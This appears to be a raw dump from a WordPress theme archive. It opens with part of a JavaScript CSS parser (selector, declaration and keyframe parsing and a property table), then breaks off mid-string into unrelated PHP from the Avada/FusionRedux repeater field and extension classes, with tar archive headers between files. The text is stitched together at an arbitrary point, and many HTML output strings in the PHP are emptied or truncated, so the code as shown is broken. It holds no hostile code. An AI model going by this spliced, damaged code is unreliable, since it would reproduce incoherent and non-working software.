SyntaxUnit.fromToken(tokenStream.token()); }, _page: function(){ var tokenStream = this._tokenStream, line, col, identifier = null, pseudoPage = null; tokenStream.mustMatch(Tokens.PAGE_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); if (tokenStream.match(Tokens.IDENT)){ identifier = tokenStream.token().value; if (identifier.toLowerCase() === "auto"){ this._unexpectedToken(tokenStream.token()); } } if (tokenStream.peek() == Tokens.COLON){ pseudoPage = this._pseudo_page(); } this._readWhitespace(); this.fire({ type: "startpage", id: identifier, pseudo: pseudoPage, line: line, col: col }); this._readDeclarations(true, true); this.fire({ type: "endpage", id: identifier, pseudo: pseudoPage, line: line, col: col }); }, _margin: function(){ var tokenStream = this._tokenStream, line, col, marginSym = this._margin_sym(); if (marginSym){ line = tokenStream.token().startLine; col = tokenStream.token().startCol; this.fire({ type: "startpagemargin", margin: marginSym, line: line, col: col }); this._readDeclarations(true); this.fire({ type: "endpagemargin", margin: marginSym, line: line, col: col }); return true; } else { return false; } }, _margin_sym: function(){ var tokenStream = this._tokenStream; if(tokenStream.match([Tokens.TOPLEFTCORNER_SYM, Tokens.TOPLEFT_SYM, Tokens.TOPCENTER_SYM, Tokens.TOPRIGHT_SYM, Tokens.TOPRIGHTCORNER_SYM, Tokens.BOTTOMLEFTCORNER_SYM, Tokens.BOTTOMLEFT_SYM, Tokens.BOTTOMCENTER_SYM, Tokens.BOTTOMRIGHT_SYM, Tokens.BOTTOMRIGHTCORNER_SYM, Tokens.LEFTTOP_SYM, Tokens.LEFTMIDDLE_SYM, Tokens.LEFTBOTTOM_SYM, Tokens.RIGHTTOP_SYM, Tokens.RIGHTMIDDLE_SYM, Tokens.RIGHTBOTTOM_SYM])) { return SyntaxUnit.fromToken(tokenStream.token()); } else { return null; } }, _pseudo_page: function(){ var tokenStream = this._tokenStream; tokenStream.mustMatch(Tokens.COLON); tokenStream.mustMatch(Tokens.IDENT); return tokenStream.token().value; }, _font_face: function(){ var tokenStream = this._tokenStream, line, col; tokenStream.mustMatch(Tokens.FONT_FACE_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); this.fire({ type: "startfontface", line: line, col: col }); this._readDeclarations(true); this.fire({ type: "endfontface", line: line, col: col }); }, _viewport: function(){ var tokenStream = this._tokenStream, line, col; tokenStream.mustMatch(Tokens.VIEWPORT_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); this.fire({ type: "startviewport", line: line, col: col }); this._readDeclarations(true); this.fire({ type: "endviewport", line: line, col: col }); }, _operator: function(inFunction){ var tokenStream = this._tokenStream, token = null; if (tokenStream.match([Tokens.SLASH, Tokens.COMMA]) || (inFunction && tokenStream.match([Tokens.PLUS, Tokens.STAR, Tokens.MINUS]))){ token = tokenStream.token(); this._readWhitespace(); } return token ? PropertyValuePart.fromToken(token) : null; }, _combinator: function(){ var tokenStream = this._tokenStream, value = null, token; if(tokenStream.match([Tokens.PLUS, Tokens.GREATER, Tokens.TILDE])){ token = tokenStream.token(); value = new Combinator(token.value, token.startLine, token.startCol); this._readWhitespace(); } return value; }, _unary_operator: function(){ var tokenStream = this._tokenStream; if (tokenStream.match([Tokens.MINUS, Tokens.PLUS])){ return tokenStream.token().value; } else { return null; } }, _property: function(){ var tokenStream = this._tokenStream, value = null, hack = null, tokenValue, token, line, col; if (tokenStream.peek() == Tokens.STAR && this.options.starHack){ tokenStream.get(); token = tokenStream.token(); hack = token.value; line = token.startLine; col = token.startCol; } if(tokenStream.match(Tokens.IDENT)){ token = tokenStream.token(); tokenValue = token.value; if (tokenValue.charAt(0) == "_" && this.options.underscoreHack){ hack = "_"; tokenValue = tokenValue.substring(1); } value = new PropertyName(tokenValue, hack, (line||token.startLine), (col||token.startCol)); this._readWhitespace(); } return value; }, _ruleset: function(){ var tokenStream = this._tokenStream, tt, selectors; try { selectors = this._selectors_group(); } catch (ex){ if (ex instanceof SyntaxError && !this.options.strict){ this.fire({ type: "error", error: ex, message: ex.message, line: ex.line, col: ex.col }); tt = tokenStream.advance([Tokens.RBRACE]); if (tt == Tokens.RBRACE){ } else { throw ex; } } else { throw ex; } return true; } if (selectors){ this.fire({ type: "startrule", selectors: selectors, line: selectors[0].line, col: selectors[0].col }); this._readDeclarations(true); this.fire({ type: "endrule", selectors: selectors, line: selectors[0].line, col: selectors[0].col }); } return selectors; }, _selectors_group: function(){ var tokenStream = this._tokenStream, selectors = [], selector; selector = this._selector(); if (selector !== null){ selectors.push(selector); while(tokenStream.match(Tokens.COMMA)){ this._readWhitespace(); selector = this._selector(); if (selector !== null){ selectors.push(selector); } else { this._unexpectedToken(tokenStream.LT(1)); } } } return selectors.length ? selectors : null; }, _selector: function(){ var tokenStream = this._tokenStream, selector = [], nextSelector = null, combinator = null, ws = null; nextSelector = this._simple_selector_sequence(); if (nextSelector === null){ return null; } selector.push(nextSelector); do { combinator = this._combinator(); if (combinator !== null){ selector.push(combinator); nextSelector = this._simple_selector_sequence(); if (nextSelector === null){ this._unexpectedToken(tokenStream.LT(1)); } else { selector.push(nextSelector); } } else { if (this._readWhitespace()){ ws = new Combinator(tokenStream.token().value, tokenStream.token().startLine, tokenStream.token().startCol); combinator = this._combinator(); nextSelector = this._simple_selector_sequence(); if (nextSelector === null){ if (combinator !== null){ this._unexpectedToken(tokenStream.LT(1)); } } else { if (combinator !== null){ selector.push(combinator); } else { selector.push(ws); } selector.push(nextSelector); } } else { break; } } } while(true); return new Selector(selector, selector[0].line, selector[0].col); }, _simple_selector_sequence: function(){ var tokenStream = this._tokenStream, elementName = null, modifiers = [], selectorText= "", components = [ function(){ return tokenStream.match(Tokens.HASH) ? new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) : null; }, this._class, this._attrib, this._pseudo, this._negation ], i = 0, len = components.length, component = null, found = false, line, col; line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol; elementName = this._type_selector(); if (!elementName){ elementName = this._universal(); } if (elementName !== null){ selectorText += elementName; } while(true){ if (tokenStream.peek() === Tokens.S){ break; } while(i < len && component === null){ component = components[i++].call(this); } if (component === null){ if (selectorText === ""){ return null; } else { break; } } else { i = 0; modifiers.push(component); selectorText += component.toString(); component = null; } } return selectorText !== "" ? new SelectorPart(elementName, modifiers, selectorText, line, col) : null; }, _type_selector: function(){ var tokenStream = this._tokenStream, ns = this._namespace_prefix(), elementName = this._element_name(); if (!elementName){ if (ns){ tokenStream.unget(); if (ns.length > 1){ tokenStream.unget(); } } return null; } else { if (ns){ elementName.text = ns + elementName.text; elementName.col -= ns.length; } return elementName; } }, _class: function(){ var tokenStream = this._tokenStream, token; if (tokenStream.match(Tokens.DOT)){ tokenStream.mustMatch(Tokens.IDENT); token = tokenStream.token(); return new SelectorSubPart("." + token.value, "class", token.startLine, token.startCol - 1); } else { return null; } }, _element_name: function(){ var tokenStream = this._tokenStream, token; if (tokenStream.match(Tokens.IDENT)){ token = tokenStream.token(); return new SelectorSubPart(token.value, "elementName", token.startLine, token.startCol); } else { return null; } }, _namespace_prefix: function(){ var tokenStream = this._tokenStream, value = ""; if (tokenStream.LA(1) === Tokens.PIPE || tokenStream.LA(2) === Tokens.PIPE){ if(tokenStream.match([Tokens.IDENT, Tokens.STAR])){ value += tokenStream.token().value; } tokenStream.mustMatch(Tokens.PIPE); value += "|"; } return value.length ? value : null; }, _universal: function(){ var tokenStream = this._tokenStream, value = "", ns; ns = this._namespace_prefix(); if(ns){ value += ns; } if(tokenStream.match(Tokens.STAR)){ value += "*"; } return value.length ? value : null; }, _attrib: function(){ var tokenStream = this._tokenStream, value = null, ns, token; if (tokenStream.match(Tokens.LBRACKET)){ token = tokenStream.token(); value = token.value; value += this._readWhitespace(); ns = this._namespace_prefix(); if (ns){ value += ns; } tokenStream.mustMatch(Tokens.IDENT); value += tokenStream.token().value; value += this._readWhitespace(); if(tokenStream.match([Tokens.PREFIXMATCH, Tokens.SUFFIXMATCH, Tokens.SUBSTRINGMATCH, Tokens.EQUALS, Tokens.INCLUDES, Tokens.DASHMATCH])){ value += tokenStream.token().value; value += this._readWhitespace(); tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]); value += tokenStream.token().value; value += this._readWhitespace(); } tokenStream.mustMatch(Tokens.RBRACKET); return new SelectorSubPart(value + "]", "attribute", token.startLine, token.startCol); } else { return null; } }, _pseudo: function(){ var tokenStream = this._tokenStream, pseudo = null, colons = ":", line, col; if (tokenStream.match(Tokens.COLON)){ if (tokenStream.match(Tokens.COLON)){ colons += ":"; } if (tokenStream.match(Tokens.IDENT)){ pseudo = tokenStream.token().value; line = tokenStream.token().startLine; col = tokenStream.token().startCol - colons.length; } else if (tokenStream.peek() == Tokens.FUNCTION){ line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol - colons.length; pseudo = this._functional_pseudo(); } if (pseudo){ pseudo = new SelectorSubPart(colons + pseudo, "pseudo", line, col); } } return pseudo; }, _functional_pseudo: function(){ var tokenStream = this._tokenStream, value = null; if(tokenStream.match(Tokens.FUNCTION)){ value = tokenStream.token().value; value += this._readWhitespace(); value += this._expression(); tokenStream.mustMatch(Tokens.RPAREN); value += ")"; } return value; }, _expression: function(){ var tokenStream = this._tokenStream, value = ""; while(tokenStream.match([Tokens.PLUS, Tokens.MINUS, Tokens.DIMENSION, Tokens.NUMBER, Tokens.STRING, Tokens.IDENT, Tokens.LENGTH, Tokens.FREQ, Tokens.ANGLE, Tokens.TIME, Tokens.RESOLUTION, Tokens.SLASH])){ value += tokenStream.token().value; value += this._readWhitespace(); } return value.length ? value : null; }, _negation: function(){ var tokenStream = this._tokenStream, line, col, value = "", arg, subpart = null; if (tokenStream.match(Tokens.NOT)){ value = tokenStream.token().value; line = tokenStream.token().startLine; col = tokenStream.token().startCol; value += this._readWhitespace(); arg = this._negation_arg(); value += arg; value += this._readWhitespace(); tokenStream.match(Tokens.RPAREN); value += tokenStream.token().value; subpart = new SelectorSubPart(value, "not", line, col); subpart.args.push(arg); } return subpart; }, _negation_arg: function(){ var tokenStream = this._tokenStream, args = [ this._type_selector, this._universal, function(){ return tokenStream.match(Tokens.HASH) ? new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) : null; }, this._class, this._attrib, this._pseudo ], arg = null, i = 0, len = args.length, elementName, line, col, part; line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol; while(i < len && arg === null){ arg = args[i].call(this); i++; } if (arg === null){ this._unexpectedToken(tokenStream.LT(1)); } if (arg.type == "elementName"){ part = new SelectorPart(arg, [], arg.toString(), line, col); } else { part = new SelectorPart(null, [arg], arg.toString(), line, col); } return part; }, _declaration: function(){ var tokenStream = this._tokenStream, property = null, expr = null, prio = null, error = null, invalid = null, propertyName= ""; property = this._property(); if (property !== null){ tokenStream.mustMatch(Tokens.COLON); this._readWhitespace(); expr = this._expr(); if (!expr || expr.length === 0){ this._unexpectedToken(tokenStream.LT(1)); } prio = this._prio(); propertyName = property.toString(); if (this.options.starHack && property.hack == "*" || this.options.underscoreHack && property.hack == "_") { propertyName = property.text; } try { this._validateProperty(propertyName, expr); } catch (ex) { invalid = ex; } this.fire({ type: "property", property: property, value: expr, important: prio, line: property.line, col: property.col, invalid: invalid }); return true; } else { return false; } }, _prio: function(){ var tokenStream = this._tokenStream, result = tokenStream.match(Tokens.IMPORTANT_SYM); this._readWhitespace(); return result; }, _expr: function(inFunction){ var tokenStream = this._tokenStream, values = [], value = null, operator = null; value = this._term(inFunction); if (value !== null){ values.push(value); do { operator = this._operator(inFunction); if (operator){ values.push(operator); } /*else { values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col)); valueParts = []; }*/ value = this._term(inFunction); if (value === null){ break; } else { values.push(value); } } while(true); } return values.length > 0 ? new PropertyValue(values, values[0].line, values[0].col) : null; }, _term: function(inFunction){ var tokenStream = this._tokenStream, unary = null, value = null, endChar = null, token, line, col; unary = this._unary_operator(); if (unary !== null){ line = tokenStream.token().startLine; col = tokenStream.token().startCol; } if (tokenStream.peek() == Tokens.IE_FUNCTION && this.options.ieFilters){ value = this._ie_function(); if (unary === null){ line = tokenStream.token().startLine; col = tokenStream.token().startCol; } } else if (inFunction && tokenStream.match([Tokens.LPAREN, Tokens.LBRACE, Tokens.LBRACKET])){ token = tokenStream.token(); endChar = token.endChar; value = token.value + this._expr(inFunction).text; if (unary === null){ line = tokenStream.token().startLine; col = tokenStream.token().startCol; } tokenStream.mustMatch(Tokens.type(endChar)); value += endChar; this._readWhitespace(); } else if (tokenStream.match([Tokens.NUMBER, Tokens.PERCENTAGE, Tokens.LENGTH, Tokens.ANGLE, Tokens.TIME, Tokens.FREQ, Tokens.STRING, Tokens.IDENT, Tokens.URI, Tokens.UNICODE_RANGE])){ value = tokenStream.token().value; if (unary === null){ line = tokenStream.token().startLine; col = tokenStream.token().startCol; } this._readWhitespace(); } else { token = this._hexcolor(); if (token === null){ if (unary === null){ line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol; } if (value === null){ if (tokenStream.LA(3) == Tokens.EQUALS && this.options.ieFilters){ value = this._ie_function(); } else { value = this._function(); } } } else { value = token.value; if (unary === null){ line = token.startLine; col = token.startCol; } } } return value !== null ? new PropertyValuePart(unary !== null ? unary + value : value, line, col) : null; }, _function: function(){ var tokenStream = this._tokenStream, functionText = null, expr = null, lt; if (tokenStream.match(Tokens.FUNCTION)){ functionText = tokenStream.token().value; this._readWhitespace(); expr = this._expr(true); functionText += expr; if (this.options.ieFilters && tokenStream.peek() == Tokens.EQUALS){ do { if (this._readWhitespace()){ functionText += tokenStream.token().value; } if (tokenStream.LA(0) == Tokens.COMMA){ functionText += tokenStream.token().value; } tokenStream.match(Tokens.IDENT); functionText += tokenStream.token().value; tokenStream.match(Tokens.EQUALS); functionText += tokenStream.token().value; lt = tokenStream.peek(); while(lt != Tokens.COMMA && lt != Tokens.S && lt != Tokens.RPAREN){ tokenStream.get(); functionText += tokenStream.token().value; lt = tokenStream.peek(); } } while(tokenStream.match([Tokens.COMMA, Tokens.S])); } tokenStream.match(Tokens.RPAREN); functionText += ")"; this._readWhitespace(); } return functionText; }, _ie_function: function(){ var tokenStream = this._tokenStream, functionText = null, expr = null, lt; if (tokenStream.match([Tokens.IE_FUNCTION, Tokens.FUNCTION])){ functionText = tokenStream.token().value; do { if (this._readWhitespace()){ functionText += tokenStream.token().value; } if (tokenStream.LA(0) == Tokens.COMMA){ functionText += tokenStream.token().value; } tokenStream.match(Tokens.IDENT); functionText += tokenStream.token().value; tokenStream.match(Tokens.EQUALS); functionText += tokenStream.token().value; lt = tokenStream.peek(); while(lt != Tokens.COMMA && lt != Tokens.S && lt != Tokens.RPAREN){ tokenStream.get(); functionText += tokenStream.token().value; lt = tokenStream.peek(); } } while(tokenStream.match([Tokens.COMMA, Tokens.S])); tokenStream.match(Tokens.RPAREN); functionText += ")"; this._readWhitespace(); } return functionText; }, _hexcolor: function(){ var tokenStream = this._tokenStream, token = null, color; if(tokenStream.match(Tokens.HASH)){ token = tokenStream.token(); color = token.value; if (!/#[a-f0-9]{3,6}/i.test(color)){ throw new SyntaxError("Expected a hex color but found '" + color + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol); } this._readWhitespace(); } return token; }, _keyframes: function(){ var tokenStream = this._tokenStream, token, tt, name, prefix = ""; tokenStream.mustMatch(Tokens.KEYFRAMES_SYM); token = tokenStream.token(); if (/^@\-([^\-]+)\-/.test(token.value)) { prefix = RegExp.$1; } this._readWhitespace(); name = this._keyframe_name(); this._readWhitespace(); tokenStream.mustMatch(Tokens.LBRACE); this.fire({ type: "startkeyframes", name: name, prefix: prefix, line: token.startLine, col: token.startCol }); this._readWhitespace(); tt = tokenStream.peek(); while(tt == Tokens.IDENT || tt == Tokens.PERCENTAGE) { this._keyframe_rule(); this._readWhitespace(); tt = tokenStream.peek(); } this.fire({ type: "endkeyframes", name: name, prefix: prefix, line: token.startLine, col: token.startCol }); this._readWhitespace(); tokenStream.mustMatch(Tokens.RBRACE); }, _keyframe_name: function(){ var tokenStream = this._tokenStream, token; tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]); return SyntaxUnit.fromToken(tokenStream.token()); }, _keyframe_rule: function(){ var tokenStream = this._tokenStream, token, keyList = this._key_list(); this.fire({ type: "startkeyframerule", keys: keyList, line: keyList[0].line, col: keyList[0].col }); this._readDeclarations(true); this.fire({ type: "endkeyframerule", keys: keyList, line: keyList[0].line, col: keyList[0].col }); }, _key_list: function(){ var tokenStream = this._tokenStream, token, key, keyList = []; keyList.push(this._key()); this._readWhitespace(); while(tokenStream.match(Tokens.COMMA)){ this._readWhitespace(); keyList.push(this._key()); this._readWhitespace(); } return keyList; }, _key: function(){ var tokenStream = this._tokenStream, token; if (tokenStream.match(Tokens.PERCENTAGE)){ return SyntaxUnit.fromToken(tokenStream.token()); } else if (tokenStream.match(Tokens.IDENT)){ token = tokenStream.token(); if (/from|to/i.test(token.value)){ return SyntaxUnit.fromToken(token); } tokenStream.unget(); } this._unexpectedToken(tokenStream.LT(1)); }, _skipCruft: function(){ while(this._tokenStream.match([Tokens.S, Tokens.CDO, Tokens.CDC])){ } }, _readDeclarations: function(checkStart, readMargins){ var tokenStream = this._tokenStream, tt; this._readWhitespace(); if (checkStart){ tokenStream.mustMatch(Tokens.LBRACE); } this._readWhitespace(); try { while(true){ if (tokenStream.match(Tokens.SEMICOLON) || (readMargins && this._margin())){ } else if (this._declaration()){ if (!tokenStream.match(Tokens.SEMICOLON)){ break; } } else { break; } this._readWhitespace(); } tokenStream.mustMatch(Tokens.RBRACE); this._readWhitespace(); } catch (ex) { if (ex instanceof SyntaxError && !this.options.strict){ this.fire({ type: "error", error: ex, message: ex.message, line: ex.line, col: ex.col }); tt = tokenStream.advance([Tokens.SEMICOLON, Tokens.RBRACE]); if (tt == Tokens.SEMICOLON){ this._readDeclarations(false, readMargins); } else if (tt != Tokens.RBRACE){ throw ex; } } else { throw ex; } } }, _readWhitespace: function(){ var tokenStream = this._tokenStream, ws = ""; while(tokenStream.match(Tokens.S)){ ws += tokenStream.token().value; } return ws; }, _unexpectedToken: function(token){ throw new SyntaxError("Unexpected token '" + token.value + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol); }, _verifyEnd: function(){ if (this._tokenStream.LA(1) != Tokens.EOF){ this._unexpectedToken(this._tokenStream.LT(1)); } }, _validateProperty: function(property, value){ Validation.validate(property, value); }, parse: function(input){ this._tokenStream = new TokenStream(input, Tokens); this._stylesheet(); }, parseStyleSheet: function(input){ return this.parse(input); }, parseMediaQuery: function(input){ this._tokenStream = new TokenStream(input, Tokens); var result = this._media_query(); this._verifyEnd(); return result; }, parsePropertyValue: function(input){ this._tokenStream = new TokenStream(input, Tokens); this._readWhitespace(); var result = this._expr(); this._readWhitespace(); this._verifyEnd(); return result; }, parseRule: function(input){ this._tokenStream = new TokenStream(input, Tokens); this._readWhitespace(); var result = this._ruleset(); this._readWhitespace(); this._verifyEnd(); return result; }, parseSelector: function(input){ this._tokenStream = new TokenStream(input, Tokens); this._readWhitespace(); var result = this._selector(); this._readWhitespace(); this._verifyEnd(); return result; }, parseStyleAttribute: function(input){ input += "}"; // for error recovery in _readDeclarations() this._tokenStream = new TokenStream(input, Tokens); this._readDeclarations(); } }; for (prop in additions){ if (additions.hasOwnProperty(prop)){ proto[prop] = additions[prop]; } } return proto; }(); var Properties = { "align-items" : "flex-start | flex-end | center | baseline | stretch", "align-content" : "flex-start | flex-end | center | space-between | space-around | stretch", "align-self" : "auto | flex-start | flex-end | center | baseline | stretch", "-webkit-align-items" : "flex-start | flex-end | center | baseline | stretch", "-webkit-align-content" : "flex-start | flex-end | center | space-between | space-around | stretch", "-webkit-align-self" : "auto | flex-start | flex-end | center | baseline | stretch", "alignment-adjust" : "auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | | ", "alignment-baseline" : "baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical", "animation" : 1, "animation-delay" : { multi: "
    ', esc_html__( 'Upgrade message from the plugin author:', 'Avada' ), ' ', wp_kses_data( $item['upgrade_notice'] ), '
    '; echo '
    '; echo ''; if ( isset( $this->field['bind_title'] ) ) { foreach ( $this->field['fields'] as $field ) { if ( $field['id'] == $this->field['bind_title'] ) { if ( isset( $field['default'] ) ) { $default = $field['default']; } elseif ( isset( $field['options'] ) && ( $field['type'] != "ace_editor" ) ) { // Sorter data filter if ( $field['type'] == "sorter" && isset( $field['data'] ) && ! empty( $field['data'] ) && is_array( $field['data'] ) ) { if ( ! isset( $field['args'] ) ) { $field['args'] = array(); } foreach ( $field['data'] as $key => $data ) { if ( ! isset( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); // @phpstan-ignore-line } } $default = $field['options']; } $default = isset( $field['default'] ) ? $field['default'] : ''; if ( ! empty( $this->repeater_values ) ) { $repeater['title'] = ! isset( $this->parent->options[ $this->field['id'] ][ $field['id'] ][ $x ] ) ? $default : $this->parent->options[ $this->field['id'] ][ $field['id'] ][ $x ]; } else { $repeater['title'] = ! isset( $this->parent->options[ $field['id'] ][ $x ] ) ? $default : $this->parent->options[ $field['id'] ][ $x ]; } if ( isset( $field['options'] ) && is_array( $field['options'] ) && ! empty( $field['options'] ) ) { if ( isset( $field['options'][ $repeater['title'] ] ) ) { $repeater['title'] = $field['options'][ $repeater['title'] ]; } } } } } if (is_array($repeater['title'])) { $repeater['title'] = "Title"; } echo '

    ' . $repeater['title'] . '

    '; echo '
    '; foreach ( $this->field['fields'] as $field ) { if ( isset( $this->field['bind_title'] ) && $field['id'] == $this->field['bind_title'] ) { if ( ! isset( $field['class'] ) || ( isset( $field['title'] ) && empty( $field['title'] ) ) ) { $field['class'] = "bind_title"; } else { $field['class'] .= " bind_title"; } } $this->output_field( $field, $x ); } if ( ! isset( $this->field['static'] ) && empty( $this->field['static'] ) ) { echo '' . __( 'Delete', 'Avada' ) . ' ' . $this->field['item_name'] . ''; } echo '
    '; echo '
    '; echo '
    '; echo '
    '; $x ++; } } if ( $x == 0 || ( isset( $this->field['static'] ) && ( $x - 1 ) < $this->field['static'] ) ) { if ( isset( $this->field['static'] ) && $x < $this->field['static'] ) { $loop = $this->field['static'] - $x; } else { $loop = 1; } while ( $loop > 0 ) { echo '
    '; echo ''; echo '
    '; if ( ! isset( $this->value['fusionredux_repeater_data'][ $x ]['title'] ) ) { $this->value['fusionredux_repeater_data'][ $x ]['title'] = ""; } echo ''; echo '

    '; echo '
    '; foreach ( $this->field['fields'] as $field ) { if ( isset( $this->field['bind_title'] ) && $field['id'] == $this->field['bind_title'] ) { if ( ! isset( $field['class'] ) || ( isset( $field['title'] ) && empty( $field['title'] ) ) ) { $field['class'] = "bind_title"; } else { $field['class'] .= " bind_title"; } } $this->output_field( $field, $x ); } if ( ! isset( $this->field['static'] ) && empty( $this->field['static'] ) ) { echo '' . __( 'Delete', 'Avada' ) . ' ' . $this->field['item_name'] . ''; } echo '
    '; echo '
    '; echo '
    '; echo '
    '; $x ++; $loop --; } } echo ''; if ( ! isset( $this->field['static'] ) && empty( $this->field['static'] ) ) { $disabled = ""; if ( isset( $this->field['limit'] ) && is_integer( $this->field['limit'] ) ) { if ( $x >= $this->field['limit'] ) { $disabled = ' button-disabled'; } } echo '' . __( 'Add', 'Avada' ) . ' ' . $this->field['item_name'] . '
    '; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { $extension = FusionReduxFramework_extension_repeater::getInstance(); // Set up min files for dev_mode = false. $min = FusionRedux_Functions::isMin(); wp_enqueue_script( 'fusionredux-field-repeater-js', apply_filters( "fusionredux/repeater/{$this->parent->args['opt_name']}/enqueue/fusionredux-field-repeater-js", $this->extension_url . 'field_repeater' . $min . '.js' ), array( 'jquery', 'jquery-ui-core', 'jquery-ui-accordion', 'jquery-ui-sortable', 'wp-color-picker' ), time(), true ); wp_enqueue_style( 'fusionredux-field-repeater-css', apply_filters( "fusionredux/repeater/{$this->parent->args['opt_name']}/enqueue/fusionredux-field-repeater-css", $this->extension_url . 'field_repeater.css' ), array(), time(), 'all' ); } public function output_field( $field, $x ) { //we will enqueue all CSS/JS for sub fields if it wasn't enqueued $this->enqueue_dependencies( $field['type'] ); //echo ''; if ( isset( $field['class'] ) ) { $field['class'] .= " repeater"; } else { $field['class'] = " repeater"; } if ( ! empty( $field['title'] ) ) { echo '

    ' . $field['title'] . '

    '; } if ( ! empty( $field['subtitle'] ) ) { echo '' . $field['subtitle'] . ''; } $origFieldID = $field['id']; $field['id'] = $field['id'] . '-' . $x; $field["name"] = $this->parent->args['opt_name'] . $this->repeater_values . '[' . $origFieldID . ']'; $field['name_suffix'] = "[" . $x . "]"; if ( isset( $field['default'] ) ) { $default = $field['default']; } elseif ( isset( $field['options'] ) && ( $field['type'] != "ace_editor" ) ) { // Sorter data filter if ( $field['type'] == "sorter" && isset( $field['data'] ) && ! empty( $field['data'] ) && is_array( $field['data'] ) ) { if ( ! isset( $field['args'] ) ) { $field['args'] = array(); } foreach ( $field['data'] as $key => $data ) { if ( ! isset( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); // @phpstan-ignore-line } } $default = $field['options']; } $default = isset( $field['default'] ) ? $field['default'] : ''; if ( ! empty( $this->repeater_values ) ) { $value = ! isset( $this->parent->options[ $this->field['id'] ][ $origFieldID ][ $x ] ) ? $default : $this->parent->options[ $this->field['id'] ][ $origFieldID ][ $x ]; } else { $value = ! isset( $this->parent->options[ $origFieldID ][ $x ] ) ? $default : $this->parent->options[ $origFieldID ][ $x ]; } ob_start(); $this->parent->_field_input( $field, $value ); $content = ob_get_contents(); // //if ( ( $field['type'] === "text" ) && ( $field_is_title ) ) { // $content = str_replace( '>', 'data-title="true" />', $content ); // $field_is_title = false; //} $_field = apply_filters( 'fusionredux-support-repeater', $content, $field, 0 ); ob_end_clean(); echo $_field; } /** * Functions to pass data from the PHP to the JS at render time. * * @return array Params to be saved as a javascript object accessable to the UI. * @since FusionRedux_Framework 3.1.5 */ function localize( $field, $value = array() ) { // ThemeFusion edit: make sure $value is an array, so count() below works on PHP 7.2+. $value = (array) $value; if ( isset( $field['subfields'] ) && empty( $field['fields'] ) ) { $field['fields'] = $field['subfields']; unset( $field['subfields'] ); } if ( isset( $field['group_values'] ) && $field['group_values'] ) { $this->repeater_values = '[' . $field['id'] . ']'; } $var = ""; if ( isset( $field['fields'] ) && ! empty( $field['fields'] ) ) { ob_start(); foreach ( $field['fields'] as $f ) { if ( isset( $this->field['bind_title'] ) && $f['id'] == $this->field['bind_title'] ) { if ( ! isset( $f['class'] ) || ( isset( $f['title'] ) && empty( $f['title'] ) ) ) { $f['class'] = "bind_title"; } else { $f['class'] .= " bind_title"; } } $this->output_field( $f, 99999 ); } $var = ob_get_contents(); $var = array( 'html' => $var . 'Delete ', 'count' => count( $value ), 'sortable' => true, 'limit' => '', 'name' => $this->parent->args['opt_name'] . '[' . $field['id'] . '][99999]', ); if ( isset( $field['sortable'] ) && is_bool( $this->field['sortable'] ) ) { $var['sortable'] = $field['sortable']; } if ( isset( $field['limit'] ) && is_integer( $field['limit'] ) ) { $var['limit'] = $field['limit']; } ob_end_clean(); } return $var; } private function enqueue_dependencies( $field_type ) { $field_class = 'FusionReduxFramework_' . $field_type; if ( ! class_exists( $field_class ) ) { $class_file = apply_filters( 'fusionredux-typeclass-load', FusionReduxFramework::$_dir . 'inc/fields/' . $field_type . '/field_' . $field_type . '.php', $field_class ); if ( file_exists( $class_file) ) { /** @noinspection PhpIncludeInspection */ require_once wp_normalize_path( $class_file ); } } if ( class_exists( $field_class ) && method_exists( $field_class, 'enqueue' ) ) { $enqueue = new $field_class( '', '', $this ); $enqueue->enqueue(); } } } } Avada/includes/lib/inc/redux/extensions/repeater/extension_repeater.php000064400000005032152342437700022465 0ustar00. * * @package FusionRedux Framework * @subpackage Repeater * @subpackage Wordpress * @author Dovy Paukstys (dovy) * @author Kevin Provance (kprovance) * @version 1.0.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_extension_repeater' ) ) { /** * Main FusionReduxFramework css_layout extension class * * @since 1.0.0 */ class FusionReduxFramework_extension_repeater { public static $version = '1.0.4'; // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public $field_id = ''; private $class_css = ''; public $field_name = 'repeater'; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $parent Parent settings. * * @return void */ public function __construct( $parent ) { $fusionredux_ver = FusionReduxFramework::$_version; // Set parent object $this->parent = $parent; // Set extension dir if ( empty( $this->extension_dir ) ) { $this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } // Set instance self::$theInstance = $this; // Adds the local field add_filter( 'fusionredux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); } static public function getInstance() { return self::$theInstance; } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } } // class } // if Avada/includes/lib/inc/redux/extensions/accordion/extension_accordion.php000064400000006135152342437700022756 0ustar00. * * @package FusionRedux Framework * @subpackage Accordion Section * @subpackage Wordpress * 